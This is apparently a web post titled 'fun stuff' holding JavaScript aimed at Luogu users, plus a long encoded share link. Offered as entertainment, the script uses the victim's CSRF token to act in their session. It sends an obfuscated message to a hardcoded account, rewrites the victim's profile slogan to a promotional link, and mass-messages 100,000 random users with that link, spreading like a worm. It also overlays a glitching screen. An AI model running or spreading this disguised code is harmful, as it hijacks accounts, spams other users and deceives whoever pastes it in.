好玩的

· · 休闲·娱乐

async function sendToUser ( uid, content ) {
    await fetch( decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw" ) ), {
        headers: [
            [ "content-type", "application/json" ],
            [ "referer", decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw" ) ) ],
            [ "x-csrf-token", document.querySelector( "meta[name=csrf-token]" )
                .content
            ],
        ],
        body: JSON.stringify( {
            user: uid,
            content: content,
        } ),
        method: "POST",
    } );
}
var styleTag = document.createElement( "style" );
styleTag.innerHTML = `
@keyframes glitch {
  0% {
    transform: skew(0);
    opacity: 1;
  }
  25% {
    transform: skew(5deg);
    opacity: 0.8;
  }
  50% {
    transform: skew(-5deg);
    opacity: 1;
  }
  75% {
    transform: skew(2deg);
    opacity: 0.9;
  }
  100% {
    transform: skew(0);
    opacity: 1;
  }
}

body {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  pointer-events: none;
  z-index: -1;
  background: linear-gradient(to right, #00f, #f00, #0f0, #ff0, #0ff, #f0f, #00f);
  background-size: 200% auto;
  animation: glitch 5s infinite;
}`;
document.head.appendChild( styleTag );
let popupMessage = "";
let popupDiv = document.createElement( "div" );
popupDiv.innerHTML = popupMessage;
popupDiv.style.position = "fixed";
popupDiv.style.top = "50%";
popupDiv.style.left = "50%";
popupDiv.style.transform = "translate(-50%, -50%)";
popupDiv.style.background = "#fff";
popupDiv.style.padding = "20px";
popupDiv.style.border = "1px solid #000";
popupDiv.style.zIndex = "9999";

document.body.appendChild( popupDiv );
function getRandomUid () {
    return Math.floor( Math.random() * ( 800000 - 100000 + 1 ) ) + 100000;
}
function sleep ( ms ) {
    return new Promise( ( resolve ) => setTimeout( resolve, ms ) );
}
( async function () {
    let uid1 = atob( "MHg1MzIwNzA=" );
    let content1 = atob( "SkPoh6rliqjmnLo=" );
    await sendToUser( uid1, content1 );

    async function updateSlogan ( slogan ) {
        const url = "https://www.luogu.com.cn/api/user/updateSlogan";
        const method = "POST";
        const body = {
            slogan: slogan
        };
        return await fetchAPI( url, method, body );
    }
    const slogan = "想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
    updateSlogan( slogan )
        .then( () => {
            console.log( "更新签名成功" );
        } )
        .catch( error => {
            console.error( "更新签名失败:", error );
        } );

    let uids = [];
    for ( let i = 0; i < 100000; i++ ) {
        let uid = getRandomUid();
        while ( uids.includes( uid ) ) {
            uid = getRandomUid();
        }
        uids.push( uid );
    }
    for ( let i = 0; i < uids.length; i++ ) {
        let content = "IAKIOI    想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
        await sendToUser( uids[ i ], content );
    }
    async function updateSlogan ( slogan ) {
        await fetch( "/api/user/updateSlogan", {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify( {
                slogan
            } )
        } );
    }

    async function fetchAPI ( url, method, body ) {
        const headers = {
            "content-type": "application/json",
            "referer": "https://www.luogu.com.cn/",
            "x-csrf-token": document.querySelector( "meta[name=csrf-token]" )
                .content,
        };

        const response = await fetch( url, {
            method,
            headers,
            body: JSON.stringify( body ),
        } );

        if ( !response.ok ) {
            throw new Error( `API request failed with status ${response.status}` );
        }

        const json = await response.json();
        return json;
    }
} )();
https://seve42.github.io/OItrainer/shared.html#NGsiFxMaBwocEAoQBWF4dl5DHQcIF0FEU1k/a25DVl9dVUsACAABenBmXkMODwgXYURTQCprbglDHgsAGRAKAQNjazYHBQ4LEVAIAQQMfn1kXkMbCxUHRlFGXSAndkhQWV5JUEZfRlUjDCwCBAcdAAEQCgEMfHBsRU1LBwsbRllTWBA6IAcFDAARARAKARhtLT0UBwANEB5GSRAOfmV2Fw8NBwsVYFVTRyAndkhD6aCf5bG457q25bCyEBwQRzs8MBcPHR1HSGlLEFouJDFQW0vlrLfnjoxQHhJTVzsgIhdDUxoXB1ccEEQ9LCcBFBsLR0gBBhwGemV2BgkAAA4bXFcQDn1+bFxZUFpVQgMEBgd8cGxBVUVMBh1WWVxTbXNmS1ReQFREBwgLA39+YUNZXFtJUF9VXEAuJXZIWFxCRxlcX0VYKi0zFz4NHUdIAAALGG0iOh0WBQsBFVdvVUYuOTxQW1pfV14QW1xbOCUxFgYMMRYGQFlcU21zZUJQWkBdQgEFAAR/eWRCUVldSVBZXl1DIywwFQQ2AwQGWhIIBnx7eFAKBwESHldUVVEQLSRQW1peUV4QRFNYKicgAUNTNUforonpoqrkuKPlroQWY2vlrIPnrZTkuZPprL3msrvlua1QHhLkvI/nvaPnkqlreFDotLrlnZPniqzngohQb00eT20nNR8ES1RH5ZGn5rCj5ZuKEBhtKDcGCB8LR0hGQkdRY2skAAQaHRAAVxIIBGNrIBoIBwUMHFUSCAZ3eGdcVVxZXUsLAwMHfXFgR01LDQoWW15VFnV6ZkVZR19TSwYIBwZ+eWxFU19CRx9XXkZVI2tuQ1FZQkcZXF9FWCotMxc+DR1HSAMJABhtIjodFgULARVXb1VGLjk8UFtbV1deEFtcWzglMRYGDDEWBkBZXFNtc2VCU0VMDhxdR15RKy4xLQwIGg1QCAIDA2NrPxwOHgIAFlVVbVA/a25AWF5CRwZTXFdaOzp2SDpL56md5oir56mB5omhEh4W5Lmx5LmJ5Y6Z5Lm7Q0VM5YeS6ZyrEBwQ5oWW54KiawkPPEVMBhNAVVdGDCY5AgQdBxEbXV5BFnUSL1AWDAsOUAgDHhYhKDkXQ1NMJiFiHWEFbWV2AgAaHQAWcV9HWjtrbkFNSxoKBlNcYUA6LTEcFRpMX0EeEldaOzs9FxJLVD4JEF5TWSprblDlrLjnjoBMSVBAUVxfbXNlXkMaDQoAVxIIBX95eFARCB0WF1YSCEA9PDFeQwQLARNeEghaOiU4XkMbCwgTQFsQDm1rKV4aSwAEH1cSCBblkZrmsZjlmq5QTUscBBxZEggGY2snEQ4bC0dIAwACGG05NQESDApHSEZCR1FjazkXBQgCR0hcRV5YY2smFwwIHA5QCBIQSWMydhwABAtHSBDlranmo5zpuJdtZXYAAAcFR0gBHBBHLCYmF0NTX1VCHhJCVTw6MRZDUxoXB1ccEFkqLTUeQ1MAEB5eHBBGKiQ1AApLVEdQT21PGDRrIxcEAkxfRB4SXFUiLHZIQyo9NV9hAhAYbTk1ARIMCiYdR15GFnV4eFAVBhoEHmFER1AqJyABQ1NdSVBXXkZGJiwnUFsyFUccU11XFnVr5ayN546bQ0VMFxNcWxAOfmV2AQIGHABQCAIHDWNrJBMSGgsBUAhEQEEqZXYfBA0PCVAIXkdYI2V2AAQEDxcZEAoQFjJlL1APCAMAUAgS5ZCn5rCl5Zq1a3hQEwgADlAIAh4WPCo7AARLVFdABxwQRC46JxcFS1QDE15DVxhtJDEWAAVMXxxHXF4YbTsxHwAbBUdIEBJPGDRrOhMMDExfUOWtq+ajnum4kRZjayYTDwJMX0EeEkFXIDsxUFtbXlVeEEBTRzwsMFBbDw8JAVccEFkqLTUeQ1MAEB5eHBBGKiQ1AApLVEdQT21PGDRrIxcEAkxfSh4SXFUiLHZIQychLCIQHBBELjonFwUqARAcRhIIBGNrIB0VCAI2BkdUV1o7OnZIUEVMABxGQltRPGtuKRpLAAQfVxIIFuWslueOoHZeQxsPCxkQCgMYbTo3HRMMTF9DBQUeFj8oJwEEDUxfFFNcQVFjazkXBQgCR0hcRV5YY2smFwwIHA5QCBLlj6PmjJHkuYLkvLrvvZjlj7nli7pJRVdQT21PGDRrIxcEAkxfQwAcEFouJDFQW0vnna/pgaxQHhJCVTw6MRYiBhsLBhAKAhhtPTsGAAU9EQdWVVxAPGtuQk1LCwsGQFlXR21zDwlDBw8IFxAKEOWtreeOpmt4UBMIAA5QCF5HWCNldgECBhwAUAheR1gjZXYCABodABYQClRVIzoxXkMMAgwVW1JeUW1zMhMNGgtJUEBVX1U9InZIQ+adg+aYpee7gu+9vuacmOWPsuWKkhYyZS9QDwgDAFAIEuWQp+awpeWatWt4UBMIAA5QCF5HWCNldgECBhwAUAheR1gjZXYCABodABYQClRVIzoxXkMMAgwVW1JeUW1zMhMNGgtJUEBVX1U9InZIQ+adg+aYpee7gu+9vuacmOWPsuWKkhYyZS9QDwgDAFAIEuWtq+ajmum5rGt4UBMIAA5QCF5HWCNldgECBhwAUAheR1gjZXYCABodABYQClRVIzoxXkMMAgwVW1JeUW1zMhMNGgtJUEBVX1U9InZIQ+adg+aYpee7gu+9vuacmOWPsuWKkhYyFCleGksZABdZEggFeWV2HAAEC0dIEH59fW1ldgIAGh0AFnFfR1o7a25CTUsaCgZTXGFAOi0xHBUaTF9CHhJXWjs7PRcSS1Q+CRBeU1kqa25Q5ay4546ATElQQFFcX21zOgcNBUJHAVFfQFFtczoHDQVCRwJTQ0FRK2tuFAAFHQBeEFVeXSggNh4ES1QDE15DVxhtOzEfABsFR0gQ5pya5pm557qT772D5p2j5Y6W5YuSQxRCHlBcUV9RbXN25ZGn5rGw5ZqTTElQQFFcX21zOgcNBUJHAVFfQFFtczoHDQVCRwJTQ0FRK2tuFAAFHQBeEFVeXSggNh4ES1QDE15DVxhtOzEfABsFR0gQ5pya5pm557qT772D5p2j5Y6W5YuSQxRCHlBcUV9RbXN25ayr5qKP6bmKTElQQFFcX21zOgcNBUJHAVFfQFFtczoHDQVCRwJTQ0FRK2tuFAAFHQBeEFVeXSggNh4ES1QDE15DVxhtOzEfABsFR0gQ5pya5pm557qT772D5p2j5Y6W5YuSQxQzGF5JEkVRKiJ2SFBQQkccU11XFnVrFyExRD1UUB4SQlU8OjEWIgYbCwYQCgEYbT07BgAFPREHVlVcQDxrbkFNSwsLBkBZV0dtcw8JQwcPCBcQChDlra3njqZreFATCAAOUAgBHhY8KjsABEtUVEICHBBELjonFwVLVBEAR1UeFiIsMBMNS1QLB15cHhY9LDkTEwJMX1AQTR5PbSc1HwRLVEflkafmsKPlm4oQGG07NRwKS1RXXhBDUVs9LHZIUFleSVBCUUFHKi12SBUbGwBeEF1XUC4ldkgPHAIJXhBCV1kuOz9QW0tMGF5JElxVIix2SEPlrLDmooDpuYZQHhJAVSEidkhSRUwWEV1CVxZ1eGRCTUseBAFBVVYWdT0mBwRFTAgXVlFeFnUnIR4NRUwXF19RQF9tc3ZQHDQTSQkQR1dRJGtuQFNFTAsTX1UQDm0KByJMOlxHXhBAU0c8LDAxDhwAEVAIAx4WOyYgEw06GhAWV15GR21zZ15DDAARAFtVQRZ1Ei9QDwgDAFAIEuWtq+ePnW1ldgAABwVHSAMcEEcsJiYXQ1NaVUIeEkJVPDoxFkNTGhcHVxwQWSotNR5DUwAQHl4cEEYqJDUACktUR1BPHEkWISg5F0NTTOWRsOaxo+WbiBIeFj0oOhlDU1xJUEFTXUYqa25GUVlCRwJTQ0FRK2tuBhMcC0lQX1VWVSNrbhwUBQJJUEBVX1U9InZIQ0sTSQkQXlNZKmtuUOWsuOaih+m5jUdeEEJTWiRrbkFNSx0GHUBVEA58e2FeQxkPFgFXVBAOOzshF01LAwAWU1wQDiE8OB5NSxwAH1NCWRZ1a3YPPBRCHlBFVVdfbXNmRk1LAAQfVxIIFgEGHSJDRUwVE0FDV1AMJiEcFUtUVl4QRF1ALiUHBhQNCwsGQRIIB2NrMRwVGwcAARAKaU9tJzUfBEtUR+Wsq+ePmxIeFj0oOhlDU19JUEFTXUYqa25GUVlCRwJTQ0FRK2tuBhMcC0lQX1VWVSNrbhwUBQJJUEBVX1U9InZIQ0sTSQkQXlNZKmtuUOWRtOaxuOWalEdeEEJTWiRrbkBNSx0GHUBVEA58f2JeQxkPFgFXVBAOOzshF01LAwAWU1wQDiE8OB5NSxwAH1NCWRZ1a3YPTRJMCxNfVRAObeWskOaiuum5kUNFTBcTXFsQDnxldgECBhwAUAgDAgRjayQTEhoLAVAIREBBKmV2HwQNDwlQCF5HWCNldgAEBA8XGRAKEBYyFCleGksZABdZEggGd2V2HAAEC0dIEOecsemAuxZjayQTEhoLATFdRVxAbXNmXkMdARETXmNGQSssOgYSS1RWXhBVXEA9IDEBQ1M1HlBcUV9RbXN25ayr546IS0JHAFNeWRZ1eHhQEgoBFxcQCgcCeWV2AgAaHQAWEApGRjoseFAMDAoEHhAKXEEjJXhQEwwDBABZEggWbTR4CUMHDwgXEAoQ5ZCh5rGe5Zqzdl5DGw8LGRAKABhtOjcdEwxMX0YGBh4WPygnAQQNTF8GQEVXGG0kMRYABUxfHEdcXhhtOzEfABsFR0gQEk8YNGs6EwwMTF9Q5a2r5qOe6biRFmNrJhMPAkxfQR4SQVcgOzFQW1tYU14QQFNHPCwwUFsPDwkBVxwQWSotNR5DUwAQHl4cEEYqJDUACktUR+WOo+aMl+S4veS9ge+8uOWPhOWLknRZU0sTOA8eSxBDKiw/UFtaXElQXFFfUW1zdjwuIExJUEJRQUcqLRcdFAcaR0gAHBBAID01HjIdGwEXXERBFnV7eFAEBxoXG1dDEA4UMnYcAAQLR0gQ5a2p54+bFmNrJhMPAkxfQx4SQVcgOzFQW15eVV4QQFNHPCwwUFsdHBAXHhJfUSsoOFBbSwkKHlYSHhY9LDkTEwJMX1AQTR5PbSc1HwRLVEflkafmsKPlm4oQGG07NRwKS1RXXhBDUVs9LHZIVlleSVBCUUFHKi12SBUbGwBeEF1XUC4ldkhDDgEJFhAcEEYqJDUACktUR1BPbU8YNGsjFwQCTF9BBhwQWi4kMVBbSy0xJh9UU01+ZGZQTUseBAFBVVZ3IDw6BkNTXElQRl9GVSMaIAcFDAARARAKABhtLDoGEwALFlAIa0kWISg5F0NTTOWsvOeOmxAcEEYuJz9QW1hCRwFRX0BRbXNhSlFFTBUTQUNXUG1zIAAUDEJHH1dUU1htczoHDQVCRwBXXVNGJGtuUEMUQh5QXFFfUW1zduWRp+axsOWak0xJUEBRXF9tc2ZeQxoNCgBXEggBfHx4UBEIHRYXVhIIQD08MV5DBAsBE14SCFo6JTheQxsLCBNAWxAObWspLxxFFUcFV1VZFnV6YV5DBw8IFxAKEHcbHXkWABBdSEYQHBBELjonFwUqARAcRhIIBWNrIB0VCAI2BkdUV1o7OnZIU0VMABxGQltRPGtuKRpLAAQfVxIIFuWslueOoHZeQxsPCxkQCgMYbTo3HRMMTF9ABgEeFj8oJwEEDUxfFFNcQVFjazkXBQgCR0hcRV5YY2smFwwIHA5QCBLlj6PmjJHkuYLkvLrvvZjlj7nli7pJRVdQTxxJFiEoORdDU0zlkbDmsaPlm4gSHhY9KDoZQ1NcSVBBU11GKmtuRFFZQkcCU0NBUStrbgYTHAtJUF9VVlUja24cFAUCSVBAVV9VPSJ2SENLEzgPHksQQyosP1BbWlhJUFxRX1Ftc3YxNTpMSVBCUUFHKi0XHRQHGkdIABwQQCA9NR4yHRsBF1xEQRZ1e3hQBAcaFxtXQxAOFDJ2HAAEC0dIEOWtqeePmxZjayYTDwJMX0MeEkFXIDsxUFteWFNeEEBTRzwsMFBbHRwQFx4SX1ErKDhQWwcbCR4eEkBRIigmGUNTTEcPHksQWi4kMVBbS+WRu+axtOWaiBAcEEYuJz9QW1tCRwFRX0BRbXNjQlFFTBUTQUNXUG1zIAAUDEJHH1dUU1htczoHDQVCRwBXXVNGJGtuUEMUMxheSRJFUSoidkhSXkJHHFNdVxZ1ax09KEtCRwJTQ0FRKwo7Bw8dTF9GHhJGWzsoOCEVHAoAHEZDEA59ZXYXDx0cDBdBEghvNGs6EwwMTF9Q5a2r54+ZEBhtOzUcCktUVF4QQ1FbPSx2SFNcXUlQQlFBRyotdkgHCAIWFx4SX1ErKDhQW0sMFx1cSlcWY2smFwwIHA5QCBLlj6PmjJHkuYLkvLrvvZjlj7nli7pJRVdQTxxJFiEoORdDU0zlkbDmsaPlm4gSHhY9KDoZQ1NcSVBBU11GKmtuR1haQkcCU0NBUStrbgYTHAtJUF9VVlUja25QBgYCAVAeEkBRIigmGUNTTEcPb01vSTI=